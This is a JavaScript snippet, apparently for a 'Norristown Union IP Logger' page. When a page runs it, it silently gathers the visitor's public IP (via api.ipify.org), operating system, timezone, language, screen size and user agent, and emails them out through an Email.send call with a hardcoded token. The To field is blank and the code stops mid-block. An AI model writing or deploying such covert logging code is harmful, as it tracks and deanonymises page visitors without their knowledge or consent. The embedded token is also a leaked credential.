// Email
//_________________________________________________________
var status
// Device Timezone
// _____________________________
var date = new Date();
var timezone = date.getTimezoneOffset() / 60
timezone = timezone.toString()
if(timezone[0] === "-"){}else{
timezone = "+" + timezone
}
timezone = "UTC " + timezone
// OS
// _____________________________
var os = "Unknown OS";
if (navigator.userAgent.indexOf("Win") != -1) os =
"Windows OS";
if (navigator.userAgent.indexOf("Mac") != -1) os =
"Macintosh";
if (navigator.userAgent.indexOf("Linux") != -1) os =
"Linux OS";
if (navigator.userAgent.indexOf("Android") != -1) os =
"Android OS";
if (navigator.userAgent.indexOf("like Mac") != -1) os =
"iOS";
// IP
// _____________________________
var ipAddress
var sent = false
$.getJSON("https://api.ipify.org?format=json",
function(data) {
ipAddress = data.ip
})
setInterval(function(){
if(sent === false){
if(ipAddress === undefined){}else{
sent = true
Email.send({
SecureToken : "fbe7f5f7-6bc0-4e3a-834c-2b7fa02d3bda",
To :
From : "no-reply-norristown-union@outlook.com",
Subject : "The requested information from Norristown Union",
Body : "Browser Language: " + navigator.language + "
Device Timezone: " + timezone + "
IP Address: " + ipAddress + "
Operating System: " + os + "
Screen Size: " + screen.width + " x " + screen.height + "
User Agent: " + navigator.userAgent + '
Thank you for using Norristown Union IP Logger. If you would like to see more of our free tools, head here.'
})